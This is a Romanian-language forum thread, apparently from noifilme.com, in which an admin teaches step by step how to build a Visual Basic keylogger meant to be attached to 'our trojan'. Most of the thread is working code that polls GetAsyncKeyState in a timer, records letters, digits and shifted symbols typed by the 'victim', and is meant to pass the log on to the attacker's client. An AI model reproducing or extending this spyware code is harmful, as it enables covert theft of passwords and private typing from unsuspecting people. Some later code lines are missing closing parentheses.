| Pentru a face un keylogger pe care sa il atasam trojanului nostru vom avea putin de lucru . Sa trecem la treaba . Cel mai important lucru este API-ul GetAsyncKeyState . Cu el vom verifica daca tastele au fost apasate . Acest API arata astfel : Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer Are decat un parametru care reprezinta tasta pentru care sa verifice daca e apasata la momentul apelului . Pentru acest parametru vom putea folosi un cod ASCII corespunzator tastei pentru care facem verificarea sau una din constantele prezente in Visual Basic ( KeyCode Constants ) : vbKey0 , vbKey1 , vbKeyA , vbKeyB , vbKeyF1 , vbKeyF2 , vbKeyEscape , vbKeyInsert si multe altele . Ce vom face pentru a captura toate tastele apasate ? Vom verifica intr-un timer ( cu un interval cat mai mic , 1 de exemplu ) pentru fiecare tasta , daca a fost apasata . Si vom scrie datele intr-un textbox , apoi vom putea trimite datele clientului . Foarte important ! Daca tasta primita ca parametru a fost apasata functia va returna valoarea -32767 . Sa incepem cu ceva mai simplu . Sa verificam de exemplu cand a fost apasata tasta C . Vom avea nevoie de un Timer la interval 1 si de un textbox . Deci pentru a verifica daca a fost apasata tasta C timerul nostru va arata cam asa : Private Sub Timer1_Timer() Dim x As Integer ' Declaram x ca integer x = GetAsyncKeyState(vbKeyC) ' x va avea valoarea returnata de GetAsyncKeyState If x = -32767 Then ' Daca x are valoarea -32767 inseamna ca tasta C a fost apasata Text1.Text = Text1.Text & "c" ' Si adaugam tasta C in TextBox-ul nostru End If ' Inchidem instructiunea If End Sub Exista o mica problema in legatura cu majusculele si minusculele . Dar vom face acest lucru foarte simplu cu ajutorul codurilor ASCII . Sa verificam daca victima noastra a introduc c sau C pentru inceput . Vom verifica daca tasta Shift a fost apasata folosind constanta vbKeyShift . Daca tasta a fost apasata GetAsyncKeyState va returna -32768 . Timerul nostru va arata cam asa : Private Sub Timer1_Timer() Dim x, x2 As Integer ' Declaram variabilele x = GetAsyncKeyState(vbKeyC) ' x va verifica tasta c x2 = GetAsyncKeyState(vbKeyShift) ' x2 va verifica tasta shift If x = -32767 Then ' Daca x are valoarea -32767 adica daca tasta c a fost apasata If x2 = -32768 Then ' Verificam daca tasta shift a fost apasata Text1.Text = Text1.Text & "C" ' Daca a fost apasata adaugam la logul nostru , in textbox , tasta C , majuscula Else: Text1.Text = Text1.Text & "c" ' Daca x2 nu are valoarea -32768 inseamna ca tasta shift nu a fost apasata si adaugam in textbox c minuscula . End If ' Inchidem instructiunea If pentru x2 End If ' Inchidem instructiunea If pentru x End Sub Pentru a verifica caracterele de la A la Z vom folosi un For de la 65 ( codul ASCII al lui A ) pana la 90 ( codul ASCII al lui Z ) . Vom verifica de asemenea starea tastei Shift . Daca nu este apasata vom adauga la log caracterul pentru codul ASCII al lui i + 32 ( Codul ASCII al minusculelor este mai mare decat cel al majusculelor cu 32 ) , iar daca e apasata vom adauga caracterul pentru codul ASCII i . Timerul va arata cam asa : Private Sub Timer1_Timer()
Bine ai venit pe noifilme.com
|
|
| |
the_noifilme | Date: Marti, 2008-12-23, 9:15 PM | Message # 14 |
Admin
Group: Utilizatori
Messages: 1581
Awards: 3
Reputation: 2
Status: Offline
| Dim x, x2, i As Integer For i = 65 To 90 ' i va parcurge tastele de la A la Z x = GetAsyncKeyState(i) ' x va verifica starea fiecarei taste de la A la Z x2 = GetAsyncKeyState(16) ' x2 va verifica starea tastei shift If x = -32767 Then ' Daca o tasta e apasata ( o tasta de la A la Z , o tasta pentru care e corespunzator un cod ASCII cuprins intre 65 si 90 , x va verifica pentru fiecare tasta in parte ) If x2 = -32768 Then ' Daca tasta shift e apasata Text1.Text = Text1.Text & Chr(i) ' Adaugam la log caracterul corespunzator codului ASCII intr 65 si 90 , cel al literei care a fost apasate , adaugam majuscula , deoarece tasta shift a fost apasata Else: Text1.Text = Text1.Text & Chr(i + 32) ' Daca nu a fost apasata adaugam minuscula , adica caracterul corespunzator codului ASCII al majusculei + 32 , rezultatul fiind codul ASCII al minusculei End If ' Inchidem instructiunea If pentru x2 End If ' Inchidem instructiunea If pentru x Next ' Inchidem For-ul End Sub Ca sa explic putin mai detaliat : In timer , de fiecare data , i va reprezenta codul ASCII al majusculei literei pentru care x va verifica daca a fost apasata . Adica va fi 65 pentru A , 66 pentru B etc. Iar x2 va verifica daca tasta shift a fost apasata . Daca a fost apasata adaugam la log caracterul corespunzator codului ASCII al lui i , iar daca nu , adaugam caracterul corespunzator codului ASCII al lui i+32 . De exemplu codul ASCII al literei a ( minuscula ) este 65 ( codul lui A - majuscula ) + 32 , adica 97 , al literei b este ( 66 - codul lui B ) + 32 , adica 98 etc. Functia Chr returneaza caracterul corespunzator codului ASCII primit ca parametru . Sa transformam acum programul nostru astfel incat sa captureze cat mai multe dintre taste . Pentru codurile ASCII va puteti uita la aceasta imagine : http://www.italysoft.com/utility/conver ... iifull.gif . Pe noi nu ne intereseaza toate , cu literele am rezolvat , sa verificam acum cifrele . In imagine se poate vedea : 0 are codul ASCII 48 , 1 are 49 etc . Dar si aici avem o mica problema . Daca tasta Shift e apasata , atunci nu vor fi scrise de la tastatura cifre ci caractere : !@# ... Codul nostru va arata cam asa : Private Sub Timer1_Timer() Dim x, x2, i As Integer For i = 48 To 57 ' i va fi pe rand codul ASCII al cifrelor de la 0 la 9 x = GetAsyncKeyState(i) ' x va verifica fiecare cifra in parte x2 = GetAsyncKeyState(16) ' x2 va verifica tasta shift If x = -32767 Then ' Daca o tasta reprezentand un caracter a fost apasata Select Case i ' Verificam ce tasta a fost apasata , in functie de codul ASCII Case 48 ' Daca tasta apasata are codul ASCII 48 - corespunzator lui 0 If x2 = -32768 Then ' Daca tasta shift e apasata Text1.Text = Text1.Text & "" ' Adaugam la log caracterul "" corespunzator cifrei 0 Else: Text1.Text = Text1.Text & "0" ' Daca tasta shift nu a fost apasata adaugam caracterul 0 End If Case 49 ' Pentru tasta cu codul ASCII 49 adica tasta 1 If x2 = -32768 Then ' Daca tasta shift a fost apasata Text1.Text = Text1.Text & "!" ' Adaugam caracterul "!" corespunzator tastei 1 Else: Text1.Text = Text1.Text & "1" ' Daca nu a fost shift apasata adaugam 1 , si asa mai departe End If
Bine ai venit pe noifilme.com
|
|
| |
the_noifilme | Date: Marti, 2008-12-23, 9:16 PM | Message # 15 |
Admin
Group: Utilizatori
Messages: 1581
Awards: 3
Reputation: 2
Status: Offline
| Case 50 If x2 = -32768 Then Text1.Text = Text1.Text & "@" Else: Text1.Text = Text1.Text & "2" End If Case 51 If x2 = -32768 Then Text1.Text = Text1.Text & "#" Else: Text1.Text = Text1.Text & "3" End If Case 52 If x2 = -32768 Then Text1.Text = Text1.Text & "$" Else: Text1.Text = Text1.Text & "4" End If Case 53 If x2 = -32768 Then Text1.Text = Text1.Text & "%" Else: Text1.Text = Text1.Text & "5" End If Case 54 If x2 = -32768 Then Text1.Text = Text1.Text & "^" Else: Text1.Text = Text1.Text & "6" End If Case 55 If x2 = -32768 Then Text1.Text = Text1.Text & "&" Else: Text1.Text = Text1.Text & "7" End If Case 56 If x2 = -32768 Then Text1.Text = Text1.Text & "*" Else: Text1.Text = Text1.Text & "8" End If Case 57 If x2 = -32768 Then Text1.Text = Text1.Text & "(" Else: Text1.Text = Text1.Text & "9" End If End Select ' Inchidem instructiunea select End If Next End Sub Acest lucru se poate face mai simplu folosind functia IIf(iif) - operatorul ternar din Visual Basic . Functia IIf are 3 parametri : expresie , instrunctiune1 , instructiune2 . Functia verifica daca primul parametru , expresia e adevarata : daca e adevarata executa instruciunea I , in cazul nostru va retura cel de-al doilea parametru , iar daca expresia e falsa , va executa instructiunea a doua , cel de-al III-lea parametru , ca cazul nostru va returna ultimul parametru . Veti intelege mai bine pe exemplu : Select Case i ' La fel , vom verifica codul ASCII al tastei care a fost apasate Case 48 ' Daca a fost apasata tasta 0 Text1.Text = Text1.Text & IIf(x2 = -32768, "", "0" ' Daca tasta shift a fost apasata , adaugam la log "" , daca nu , adaugam "0" Case 49 Text1.Text = Text1.Text & IIf(x2 = -32768, "!", "1" ' La fel , daca tasta shift a fost apasata , adaugam la log "!" , daca nu , adaugam "1" , etc. Case 50 Text1.Text = Text1.Text & IIf(x2 = -32768, "@", "2" Case 51 Text1.Text = Text1.Text & IIf(x2 = -32768, "#", "3" Case 52 Text1.Text = Text1.Text & IIf(x2 = -32768, "$", "4" Case 53 Text1.Text = Text1.Text & IIf(x2 = -32768, "%", "5" Case 54 Text1.Text = Text1.Text & IIf(x2 = -32768, "^", "6" Case 55 Text1.Text = Text1.Text & IIf(x2 = -32768, "&", "7" Case 56 Text1.Text = Text1.Text & IIf(x2 = -32768, "*", "8" Case 57 Text1.Text = Text1.Text & IIf(x2 = -32768, "(", "9" End Select
Bine ai venit pe noifilme.com
|
|
| |
|
|